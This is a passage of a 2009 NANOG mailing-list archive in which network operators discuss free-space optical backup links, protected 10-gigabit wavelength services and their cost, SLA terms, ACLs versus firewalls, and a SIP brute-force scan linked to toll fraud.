pairs can probably handle the 80% >> situation in the metro (unless there is data to indicate otherwise). >> >> murph >> > > > > Based on my experience with operating FSOs as infrastructure some years ago, the major limiting factor for FSOs is weather. In good weather, they should work just fine even at quite long ranges, providing that there is no obstruction or source of heat shimmer in the path, and you have carefully aimed your link to avoid sun outages. Bad weather (rain, snow, sandstorms, fog) causes very high levels of attenuation, with particularly bad weather reducing effective range to a few hundred meters at most. When this happens, the effect is area-wide, with a typical rain cell being a few km in size, so adding extra FSO links for redundancy is useless. If you've got a local airport nearby, you should be able to get good historical data for the frequency and duration of such weather conditions from METAR visibility data. For long-term standby installations, you've got to watch out for building work and cranes, which can pop up unexpectedly. However, if the link is being used solely as a protection path for rare failures in otherwise reliable fiber, and the alternative is either no protection path or a prohibitively expensive protection path, this may be perfectly acceptable: quite long ranges can be achieved with around 95-99% availability in typical European climates. You should expect installing and aiming a couple of FSO links at one another to take about a day in practice, unless you have a crack team of mobile laser ninjas trained and in readiness at all times (although the USAF may have greater access to ninjas, compared to to the rest of us). There is still the matter of getting permission for physical access, safety approval, access to power and network connectivity to the vantage points you will need to install the FSOs on, which can take much longer unless you already have it pre-planned. For truly rapid temporary links, I've seen one major UK operator actually just manually grout fiber in place along a kerbside to cover a few hundred meters of (presumably) temporary fiber run. This is probably faster to install than FSOs, even if the lifespan of such a link might be measured in days before someone crunches the fiber. -- Neil From Rod.Beck at hiberniaatlantic.com Wed Apr 15 07:38:43 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 13:38:43 +0100 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> That service is probably very expensive. There is no known way to provide cheap 10 wave protection. Not carrier grade. Protected 10 GigE service (LAN PHY 10 GigE) will tolerate a very high BER before switching. And the cost of switching STM64 is very high as well. Bottom line is that it will cost more than two diversely routed 10 gig waves. There is no real market for protected 10 gig waves. Occasionally a bank will request the service, but backoff as soon as they see the price tag. "Hopefully none of these customers had service and protect ckts that went down... I would be pissed as a ceo if that happen to my company. Hopefully level3's new service offering is 100 at percent redundant as stated The new service offerings include: - Protected Wavelengths: Level 3 now provides automatic protection-switching to a dedicated diversely routed wavelength in the event of a network failure. The protection switch, fully automated and managed by Level 3, happens at switching speeds approaching SONET restoration times. The single interface to the customer requires no additional capital cost for customer optical ports, and the diverse restoration path is fixed and fully known to the customer. These features allow customers to achieve fast restoration with predictable performance in their network without adding significant cost and routing complexity. -" Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com From frnkblk at iname.com Wed Apr 15 08:08:43 2009 From: frnkblk at iname.com (Frank Bulk) Date: Wed, 15 Apr 2009 08:08:43 -0500 Subject: Diversity - was: Fiber cut in SF area In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> Message-ID: That's funny, because our company is a (very small) LEC and a member of a (small) regional network, and we've been asked by a larger consortium to give them protected 10-Gig waves between two cities. It's not been a problem to find DWDM vendors that can do that. Frank -----Original Message----- From: Rod Beck [mailto:Rod.Beck at hiberniaatlantic.com] Sent: Wednesday, April 15, 2009 7:39 AM To: joel.mercado at verizon.net; Wallace Keith; nanog at nanog.org Subject: Re: Diversity - was: Fiber cut in SF area That service is probably very expensive. There is no known way to provide cheap 10 wave protection. Not carrier grade. Protected 10 GigE service (LAN PHY 10 GigE) will tolerate a very high BER before switching. And the cost of switching STM64 is very high as well. Bottom line is that it will cost more than two diversely routed 10 gig waves. There is no real market for protected 10 gig waves. Occasionally a bank will request the service, but backoff as soon as they see the price tag. "Hopefully none of these customers had service and protect ckts that went down... I would be pissed as a ceo if that happen to my company. Hopefully level3's new service offering is 100 at percent redundant as stated The new service offerings include: - Protected Wavelengths: Level 3 now provides automatic protection-switching to a dedicated diversely routed wavelength in the event of a network failure. The protection switch, fully automated and managed by Level 3, happens at switching speeds approaching SONET restoration times. The single interface to the customer requires no additional capital cost for customer optical ports, and the diverse restoration path is fixed and fully known to the customer. These features allow customers to achieve fast restoration with predictable performance in their network without adding significant cost and routing complexity. -" Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com From neil at tonal.clara.co.uk Wed Apr 15 09:38:45 2009 From: neil at tonal.clara.co.uk (Neil Harris) Date: Wed, 15 Apr 2009 15:38:45 +0100 Subject: Diversity - was: Fiber cut in SF area In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> Message-ID: <49E5F175.3090205@tonal.clara.co.uk> Rod Beck wrote: > That service is probably very expensive. > > There is no known way to provide cheap 10 wave protection. Not carrier grade. Protected 10 GigE service (LAN PHY 10 GigE) will tolerate a very high BER before switching. And the cost of switching STM64 is very high as well. > > Bottom line is that it will cost more than two diversely routed 10 gig waves. > > There is no real market for protected 10 gig waves. Occasionally a bank will request the service, but backoff as soon as they see the price tag. > > "Hopefully none of these customers had service and protect ckts that went down... I would be pissed as a ceo if that happen to my company. Hopefully level3's new service offering is 100 at percent redundant as stated > > The new service offerings include: - Protected Wavelengths: Level 3 now provides automatic protection-switching to a dedicated diversely routed wavelength in the event of a network failure. The protection switch, fully automated and managed by Level 3, happens at switching speeds approaching SONET restoration times. The single interface to the customer requires no additional capital cost for customer optical ports, and the diverse restoration path is fixed and fully known to the customer. These features allow customers to achieve fast restoration with predictable performance in their network without adding significant cost and routing complexity. -" > Surely a simple wideband optomechanical switch, actuated by detected signal degradation on a pilot wavelength or wavelengths, would do the job with high reliability and relatively low cost, without any extra need for switching the STM64 signal at the bitstream level? -- Neil From martin at theicelandguy.com Wed Apr 15 09:47:03 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Wed, 15 Apr 2009 10:47:03 -0400 Subject: Network SLA In-Reply-To: <262b67200904150410n3f2159aby4ad1edef566512c0@mail.gmail.com> References: <262b67200902190750m556cf72ve2ae25e4b64378e7@mail.gmail.com> <262b67200904150322q1fc533d9h2a540e734411ba59@mail.gmail.com> <1E8B940C5E21014AB8BE70B975D40EDB01627EFD@bert.HiberniaAtlantic.local> <262b67200904150410n3f2159aby4ad1edef566512c0@mail.gmail.com> Message-ID: On Wed, Apr 15, 2009 at 7:10 AM, Saqib Ilyas wrote: > Hmmm. Good point. Perhaps the Internet traffic gets only a small share of > the link capacity and the rest is reserved for corporate clients' VPN > traffic etc. I was thinking more along the lines of corporate SLAs, not for > Internet traffic. For private, point to point, line, I agree with a previous posting on the subject: "As for the rest, CIR, Latency, Jitter, Loss ..... this can be tested prior to customer handover with any number of tools and protocols including IEEE 802.11ag/ah, ITU-T 1731, IETF RFC2544. " -Rich Andreas Asking to receive the testing report as part of an acceptance process is not unusual. For corporate IP service, you may want to measure end to end performance and not get too specific in the core. Writing an SLA against city pair performance is a responsible method to do this e.g. "Islamabad->Kabol not equal to more than 1ms". That should encompass everything along the required path(s) and hopefully incent your provider to keep their network up to snuff and their MTTR low. You may also consider codifying the MTTR i.e. MTTR = < 2 Hours "or" service credit. (Again, depends on your economic power). Don't forget that your power to negotiate SLA's with service credits is proportionate to the size of the purchase. Buying 10 Mb/s vs. 10 Gb/s services are two different types of economics when it comes to SLA. Best, Martin -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From Rod.Beck at hiberniaatlantic.com Wed Apr 15 09:47:17 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 15:47:17 +0100 Subject: Diversity - was: Fiber cut in SF area References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F05@bert.HiberniaAtlantic.local> Adjacent cities is not what the long haul providers generally do. My clients want Chicago Equinix to Frankfurt Interxion or Chicago Equinix to 60 Hudson. Not Pittsburgh to Cleveland. The capex for those services is many hundreds of thousands of dollars. Consider all cards required to a provide a protected 10 gig wave service when you have substantial DWDM infrastructure. Not only regen huts, but the POPs in between the desired end points. We have lots of regen huts and POPs in between Chicago and NYC. You can't built protection with only four 10 gig wave cards on most routes. To take the point further, if you are building a TransAtlantic circuit, you're going to need cards at every landing station. If you have two landing stations on both sides of the Atlantic, then you are talking eight cards. Hmmm ... Every span has to be protected. And it doesn't make sense usually to be put in separate platforms to reduce the capex involved in those rings. Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Landline: 33+1+4355+8224 French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. -----Original Message----- From: Frank Bulk [mailto:frnkblk at iname.com] Sent: Wed 4/15/2009 2:08 PM To: Rod Beck; joel.mercado at verizon.net; Wallace Keith; nanog at nanog.org Subject: RE: Diversity - was: Fiber cut in SF area That's funny, because our company is a (very small) LEC and a member of a (small) regional network, and we've been asked by a larger consortium to give them protected 10-Gig waves between two cities. It's not been a problem to find DWDM vendors that can do that. Frank -----Original Message----- From: Rod Beck [mailto:Rod.Beck at hiberniaatlantic.com] Sent: Wednesday, April 15, 2009 7:39 AM To: joel.mercado at verizon.net; Wallace Keith; nanog at nanog.org Subject: Re: Diversity - was: Fiber cut in SF area That service is probably very expensive. There is no known way to provide cheap 10 wave protection. Not carrier grade. Protected 10 GigE service (LAN PHY 10 GigE) will tolerate a very high BER before switching. And the cost of switching STM64 is very high as well. Bottom line is that it will cost more than two diversely routed 10 gig waves. There is no real market for protected 10 gig waves. Occasionally a bank will request the service, but backoff as soon as they see the price tag. "Hopefully none of these customers had service and protect ckts that went down... I would be pissed as a ceo if that happen to my company. Hopefully level3's new service offering is 100 at percent redundant as stated The new service offerings include: - Protected Wavelengths: Level 3 now provides automatic protection-switching to a dedicated diversely routed wavelength in the event of a network failure. The protection switch, fully automated and managed by Level 3, happens at switching speeds approaching SONET restoration times. The single interface to the customer requires no additional capital cost for customer optical ports, and the diverse restoration path is fixed and fully known to the customer. These features allow customers to achieve fast restoration with predictable performance in their network without adding significant cost and routing complexity. -" Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com From Rod.Beck at hiberniaatlantic.com Wed Apr 15 09:48:05 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 15:48:05 +0100 Subject: Diversity - was: Fiber cut in SF area References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <49E5F175.3090205@tonal.clara.co.uk> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F06@bert.HiberniaAtlantic.local> And if the 10 gig wave is from 1 Wilshire to 60 Hudson with hundreds of regen huts and 30 POPs in between? How that affect the capex cost? Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Landline: 33+1+4355+8224 French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. From neil at tonal.clara.co.uk Wed Apr 15 10:00:50 2009 From: neil at tonal.clara.co.uk (Neil Harris) Date: Wed, 15 Apr 2009 16:00:50 +0100 Subject: Diversity - was: Fiber cut in SF area In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F06@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <49E5F175.3090205@tonal.clara.co.uk> <1E8B940C5E21014AB8BE70B975D40EDB01627F06@bert.HiberniaAtlantic.local> Message-ID: <49E5F6A2.80103@tonal.clara.co.uk> Rod Beck wrote: > And if the 10 gig wave is from 1 Wilshire to 60 Hudson with hundreds of regen huts and 30 POPs in between? > > How that affect the capex cost? > > Sure, the capex cost of offering full diversity is substantial; my point was just that the cost of switching STM64 signals at the endpiints need not be a significant issue, since you only have to switch the optical path, which is cheap to do and highly reliable, and the kit to do that will only make up a tiny fraction of the rest of the capital and operations cost. -- Neil From Rod.Beck at hiberniaatlantic.com Wed Apr 15 10:03:48 2009 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Wed, 15 Apr 2009 16:03:48 +0100 Subject: Diversity - was: Fiber cut in SF area References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <49E5F175.3090205@tonal.clara.co.uk> <1E8B940C5E21014AB8BE70B975D40EDB01627F06@bert.HiberniaAtlantic.local> <49E5F6A2.80103@tonal.clara.co.uk> Message-ID: <1E8B940C5E21014AB8BE70B975D40EDB01627F07@bert.HiberniaAtlantic.local> Agreed. But bear in mind that DWDM infrastructure that does 80 to 120 waves per fiber pair is very expensive. REgards, Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Landline: 33+1+4355+8224 French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. -----Original Message----- From: Neil Harris [mailto:neil at tonal.clara.co.uk] Sent: Wed 4/15/2009 4:00 PM To: Rod Beck Cc: joel.mercado at verizon.net; Wallace Keith; nanog at nanog.org Subject: Re: Diversity - was: Fiber cut in SF area Rod Beck wrote: > And if the 10 gig wave is from 1 Wilshire to 60 Hudson with hundreds of regen huts and 30 POPs in between? > > How that affect the capex cost? > > Sure, the capex cost of offering full diversity is substantial; my point was just that the cost of switching STM64 signals at the endpiints need not be a significant issue, since you only have to switch the optical path, which is cheap to do and highly reliable, and the kit to do that will only make up a tiny fraction of the rest of the capital and operations cost. -- Neil From trejrco at gmail.com Wed Apr 15 10:22:34 2009 From: trejrco at gmail.com (TJ) Date: Wed, 15 Apr 2009 11:22:34 -0400 Subject: ACLs vs. full firewalls In-Reply-To: <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> Message-ID: <002001c9bdde$0114f5b0$033ee110$@com> MS is doing something very Jerico'ish with "DirectAccess" ... very loosely, "Automagic IPsec + IPv6 (via Teredo when needed) + AD-based auth" (MS's previous step was SDI (Server Domain Isolation)) /TJ >-----Original Message----- >From: Mark Smith >[mailto:nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org] >Sent: Tuesday, April 07, 2009 5:34 PM >To: Michael Helmeste >Cc: nanog at nanog.org >Subject: Re: ACLs vs. full firewalls > >On Tue, 07 Apr 2009 13:05:31 -0700 >Michael Helmeste wrote: > >> Hi all, >> One of the duties of my current place of employ is reorganizing the >> network. We have a few Catalyst 6500 series L3 switches, but currently >> do all packet filtering (and some routing) using a software based >> firewall. Don't ask me, I didn't design it :) >> >> Current security requirements are only based on TCP and non-stateful >> UDP src/dst net/port filtering, and so my suggestion was to use ACLs >> applied on the routed interface of each VLAN. There was some talk of >> using another software based firewall or a Cisco FWSM card to filter >> traffic at the border, mostly for management concerns. We expect full >> 1 gig traffic levels today, and 10 gig traffic levels in the future. >> >> I view ACLs as being a cheap, easy to administrate solution that >> scales with upgrades to new interface line speeds, where a full >> stateful firewall isn't necessary. However, I wanted to get other >> opinions of what packet filtering solutions people use in the border >> and in the core, and why. >> > >It seems there is a trend towards moving host protection on to the hosts >themselves, onto or closer to the resource or entity being protected. It's >basically following the cliche, "If you want something to be done properly, you >need to do it yourself." > >http://www.opengroup.org/jericho/ - they call it "de-perimeterization" > >I first came across the idea in this article: > >http://www.cs.columbia.edu/~smb/papers/distfw.html > >If you move to the host-based firewalling model, plain packet filtering ACLs at >the perimeter would be quite an adequate form of a first level of defence, >while also avoiding the performance overhead of (or resources required to >perform) stateful tracking of large amounts of traffic. > >Regards, >Mark. > > > >> What's out there, and why do you guys use it? How do you feel about >> the scalability, performance, security, and manageability of your >> solution? What kind of traffic levels do you put through it? >> From ras at e-gerbil.net Wed Apr 15 10:54:26 2009 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Wed, 15 Apr 2009 10:54:26 -0500 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> Message-ID: <20090415155426.GU51443@gerbil.cluepon.net> On Wed, Apr 15, 2009 at 01:38:43PM +0100, Rod Beck wrote: > There is no known way to provide cheap 10 wave protection. Not carrier > grade. Protected 10 GigE service (LAN PHY 10 GigE) will tolerate a > very high BER before switching. And the cost of switching STM64 is > very high as well. > > Bottom line is that it will cost more than two diversely routed 10 gig > waves. ... > Every span has to be protected. Hi Rod, I don't think thats true. Most "carrier grade" DWDM platforms deployed over the last few years have been capable of doing protected 10GE LAN PHY service without a SONET/STM layer and without costing more than two diversely routed waves. Also, many of the modern systems in use by modern competetive carriers are capable of providing > 2 degree (ring) protection. They essentially act like an optical "switch", and can automatically seek out (and signal via GMPLS) an available channel to restore or protect the overall path on a dynamic basis, and in more than 2 directions. > There is no real market for protected 10 gig waves. Occasionally a > bank will request the service, but backoff as soon as they see the > price tag. I think the pricing is the result of trying to charge what the market will bear rather than an underlying technical cost to deliver service. Think "if the customer wants a want stop solution where we're managing everything for them they should be willing to pay more for the convenience". > "Hopefully none of these customers had service and protect ckts that > went down... I would be pissed as a ceo if that happen to my company. > Hopefully level3's new service offering is 100 at percent redundant as > stated Protected vs 2x diverse unprotected circuits each have their advantages and disadvantages. One thing a protected circuit is not good at is providing higher availability than 2x diverse unprotected circuits. That's because you're trading diversity at the endpoints for simplicity, so you've still done nothing to protect yourself against endpoint failures. Protected circuits may provide other advantages though, such as > 2 degree protection, or better latency than may be reasonably available to purchase independently. It depends on the carrier, the network, and even the customer to figure out which is the better solution. > The new service offerings include: - Protected Wavelengths: Level 3 > now provides automatic protection-switching to a dedicated diversely > routed wavelength in the event of a network failure. The protection > switch, fully automated and managed by Level 3, happens at switching > speeds approaching SONET restoration times. The single interface to > the customer requires no additional capital cost for customer optical > ports, and the diverse restoration path is fixed and fully known to > the customer. These features allow customers to achieve fast > restoration with predictable performance in their network without > adding significant cost and routing complexity. -" I believe this is what I was talking about above, on their Infinera platform. This is much more powerful than traditional ring designs. > But bear in mind that DWDM infrastructure that does 80 to 120 waves > per fiber pair is very expensive. I suppose expensive is in the eye of the beholder. Every modern long-haul "carrier grade" DWDM platform I know of has done at least 80 channel 50GHz spacing at the same cost as a 40ch solution for quite a few years now. Only in the metro space does the statement above hold true. -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From dane at pktloss.net Wed Apr 15 11:35:43 2009 From: dane at pktloss.net (Dane) Date: Wed, 15 Apr 2009 11:35:43 -0500 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: Message-ID: <37c351df0904150935v462e602bqaa65d98275c07efd@mail.gmail.com> The timing of your email as well as a couple of seemingly unrelated things that I have heard about make me think this might be related to some large toll fraud scheme. Today I heard from someone who says Verizon is telling them they see about 700 calls per hour to Cuba originating from their PRI. Obviously some type of toll fraud. Got me thinking about this persons phone system and how there has always been the issue of toll fraud where someone calls in and knows how to get an outbound call routed through a poorly setup PBX. However the rate of 700 calls per hour and one PRI just don't make sense or add up in a situation like the old toll fraud method mentioned earlier since I believe that's more of a manual attack. That's when I recalled this post of yours. Made me wonder if there was some way to exploit SIP to associate with a VoIP PBX or gateway or something that was tied to PRI's and thus route your calls over someones phone system. Sure enough found some discussions and posts regarding toll fraud to Cuba (and others) in relation to SIP. For instance, Cisco's CallManager Express device which is a router as well as voip pbx is often tied to PSTN or PRI's and by default allows H323 TCP/1720 and SIP UDP/5060 ports open by default. It may seem obvious to others but new to me that these scans are related to someone or some group looking to find devices with these ports open in an effort to attach to them through SIP and hopefully exploit if attached to PRI's or PSTN for toll fraud. I really do learn something new everyday, some smart deviant people out there. On Fri, Apr 10, 2009 at 3:45 AM, Leland E. Vandervort wrote: > > Hi All, > > Over the past couple of days we have been seeing an exponential increase > (about 200-fold) > in the amount of UDP SIP Control traffic in our netflow data. ?The past 24 > hours, for example, has shown a total of nearly 300 GB of this traffic > incoming and over 400 GB outgoing -- this despite the fact that we do not > host any SIP services ourselves, and currently to my knowledge, we have no > hosting customers running any kind of SIP services. ?(Total RTP traffic > for 24 hours is only in the region of 150 Kb -- so a vast inbalance > between control and RTP) > > The local sources/destinations of the traffic are within our hosting > space, but are spread across a wide range of hosts (i.e. nothing really > related to a single or handful of hosts). > > Additionally over the past couple of days we have seen an increase of > mails to our abuse desk for "brute force" attempts against a number of SIP > services... possibly directly related to this traffic. > > Is anyone aware of a new variant or modus-operandi of botnets in > circulation in the past couple of days which attempt to exploit SIP > services? ?Has anyone else notice a significant increase in this kind of > traffic? > > Thanks > > Leland > > > > From leland at taranta.discpro.org Wed Apr 15 11:38:45 2009 From: leland at taranta.discpro.org (Leland E. Vandervort) Date: Wed, 15 Apr 2009 16:38:45 +0000 (GMT) Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: <37c351df0904150935v462e602bqaa65d98275c07efd@mail.gmail.com> Message-ID: Managed to get to the bottom of it, and it was indeed a SIP User-Agent brute-force attempt. Interestingly, though, that your mail mentions specifically verizon... the majority of the remote addresses during this brute-force attempt were also behind verizon... coincidence? Hmm.. Regards, Leland On Wed, 15 Apr 2009, Dane wrote: > The timing of your email as well as a couple of seemingly unrelated > things that I have heard about make me think this might be related to > some large toll fraud scheme. > > Today I heard from someone who says Verizon is telling them they see > about 700 calls per hour to Cuba originating from their PRI. > > Obviously some type of toll fraud. Got me thinking about this persons > phone system and how there has always been the issue of toll fraud > where someone calls in and knows how to get an outbound call routed > through a poorly setup PBX. > > However the rate of 700 calls per hour and one PRI just don't make > sense or add up in a situation like the old toll fraud method > mentioned earlier since I believe that's more of a manual attack. > > That's when I recalled this post of yours. Made me wonder if there > was some way to exploit SIP to associate with a VoIP PBX or gateway or > something that was tied to PRI's and thus route your calls over > someones phone system. > > Sure enough found some discussions and posts regarding toll fraud to > Cuba (and others) in relation to SIP. > > For instance, Cisco's CallManager Express device which is a router as > well as voip pbx is often tied to PSTN or PRI's and by default allows > H323 TCP/1720 and SIP UDP/5060 ports open by default. > > It may seem obvious to others but new to me that these scans are > related to someone or some group looking to find devices with these > ports open in an effort to attach to them through SIP and hopefully > exploit if attached to PRI's or PSTN for toll fraud. > > I really do learn something new everyday, some smart deviant people out there. > > > On Fri, Apr 10, 2009 at 3:45 AM, Leland E. Vandervort > wrote: > > > > Hi All, > > > > Over the past couple of days we have been seeing an exponential increase > > (about 200-fold) > > in the amount of UDP SIP Control traffic in our netflow data. ?The past 24 > > hours, for example, has shown a total of nearly 300 GB of this traffic > > incoming and over 400 GB outgoing -- this despite the fact that we do not > > host any SIP services ourselves, and currently to my knowledge, we have no > > hosting customers running any kind of SIP services. ?(Total RTP traffic > > for 24 hours is only in the region of 150 Kb -- so a vast inbalance > > between control and RTP) > > > > The local sources/destinations of the traffic are within our hosting > > space, but are spread across a wide range of hosts (i.e. nothing really > > related to a single or handful of hosts). > > > > Additionally over the past couple of days we have seen an increase of > > mails to our abuse desk for "brute force" attempts against a number of SIP > > services... possibly directly related to this traffic. > > > > Is anyone aware of a new variant or modus-operandi of botnets in > > circulation in the past couple of days which attempt to exploit SIP > > services? ?Has anyone else notice a significant increase in this kind of > > traffic? > > > > Thanks > > > > Leland > > > > > > > > > From ravi at cow.org Wed Apr 15 11:45:09 2009 From: ravi at cow.org (Ravi Pina) Date: Wed, 15 Apr 2009 12:45:09 -0400 Subject: ACLs vs. full firewalls In-Reply-To: <1239143522.6678.201.camel@karl> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> <1239143522.6678.201.camel@karl> Message-ID: <20090415164509.GI39240@neu.cow.org> On Wed, Apr 08, 2009 at 08:32:02AM +1000, Karl Auer wrote: > On Wed, 2009-04-08 at 07:04 +0930, Mark Smith wrote: > > It seems there is a trend towards moving host protection on to the > > hosts themselves, onto or closer to the resource or entity being > > protected. It's basically following the cliche, "If you want something > > to be done properly, you need to do it yourself." > > And IPv6 tends to push security back onto hosts, too. > > > If you move to the host-based firewalling model, plain packet > > filtering ACLs at the perimeter would be quite an adequate form of a > > first level of defence, while also avoiding the performance overhead > > of (or resources required to perform) stateful tracking of large > > amounts of traffic. > > And a combination of the two - if you *are* performing more complex > checks deeper inside the network, packet filtering can reduce the load > that actually reaches those inner check points. Which would address my concern of just passing along the [D]DOS to the host. Mitigating attacks at the border and letting the hosts allow what they specifically need is a good model. > I'd be interested to hear why people use firewalls. I've never felt the > need, myself - am I living in a fool's paradise? By your email I'll assume you've never had to deal with HIPPA[1] or SOx[2]. That aside I see a value in using a stateful FW that does packet inspection to validate the type of traffic over a certain port should really be there. -r [1] http://en.wikipedia.org/wiki/HIPPA [2] http://en.wikipedia.org/wiki/Sarbanes-Oxley_Act From mgoldman at appiaservices.com Wed Apr 15 12:10:10 2009 From: mgoldman at appiaservices.com (Mike Goldman) Date: Wed, 15 Apr 2009 12:10:10 -0500 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: <37c351df0904150935v462e602bqaa65d98275c07efd@mail.gmail.com> Message-ID: <032c01c9bded$09676680$1c363380$@com> ACL's at the perimeter and/or on the gateways might help Thanks, Mike Goldman -----Original Message----- From: Leland E. Vandervort [mailto:leland at taranta.discpro.org] Sent: Wednesday, April 15, 2009 11:39 AM To: Dane Cc: nanog at nanog.org Subject: Re: SIP - perhaps botnet? anyone else seeing this? Managed to get to the bottom of it, and it was indeed a SIP User-Agent brute-force attempt. Interestingly, though, that your mail mentions specifically verizon... the majority of the remote addresses during this brute-force attempt were also behind verizon... coincidence? Hmm.. Regards, Leland On Wed, 15 Apr 2009, Dane wrote: > The timing of your email as well as a couple of seemingly unrelated > things that I have heard about make me think this might be related to > some large toll fraud scheme. > > Today I heard from someone who says Verizon is telling them they see > about 700 calls per hour to Cuba originating from their PRI. > > Obviously some type of toll fraud. Got me thinking about this persons > phone system and how there has always been the issue of toll fraud > where someone calls in and knows how to get an outbound call routed > through a poorly setup PBX. > > However the rate of 700 calls per hour and one PRI just don't make > sense or add up in a situation like the old toll fraud method > mentioned earlier since I believe that's more of a manual attack. > > That's when I recalled this post of yours. Made me wonder if there > was some way to exploit SIP to associate with a VoIP PBX or gateway or > something that was tied to PRI's and thus route your calls over > someones phone system. > > Sure enough found some discussions and posts regarding toll fraud to > Cuba (and others) in relation to SIP. > > For instance, Cisco's CallManager Express device which is a router as > well as voip pbx is often tied to PSTN or PRI's and by default allows > H323 TCP/1720 and SIP UDP/5060 ports open by default. > > It may seem obvious to others but new to me that these scans are > related to someone or some group looking to find devices with these > ports open in an effort to attach to them through SIP and hopefully > exploit if attached to PRI's or PSTN for toll fraud. > > I really do learn something new everyday, some smart deviant people out there. > > > On Fri, Apr 10, 2009 at 3:45 AM, Leland E. Vandervort > wrote: > > > > Hi All, > > > > Over the past couple of days we have been seeing an exponential increase > > (about 200-fold) > > in the amount of UDP SIP Control traffic in our netflow data. ?The past 24 > > hours, for example, has shown a total of nearly 300 GB of this traffic > > incoming and over 400 GB outgoing -- this despite the fact that we do not > > host any SIP services ourselves, and currently to my knowledge, we have no > > hosting customers running any kind of SIP services. ?(Total RTP traffic > > for 24 hours is only in the region of 150 Kb -- so a vast inbalance > > between control and RTP) > > > > The local sources/destinations of the traffic are within our hosting > > space, but are spread across a wide range of hosts (i.e. nothing really > > related to a single or handful of hosts). > > > > Additionally over the past couple of days we have seen an increase of > > mails to our abuse desk for "brute force" attempts against a number of SIP > > services... possibly directly related to this traffic. > > > > Is anyone aware of a new variant or modus-operandi of botnets in > > circulation in the past couple of days which attempt to exploit SIP > > services? ?Has anyone else notice a significant increase in this kind of > > traffic? > > > > Thanks > 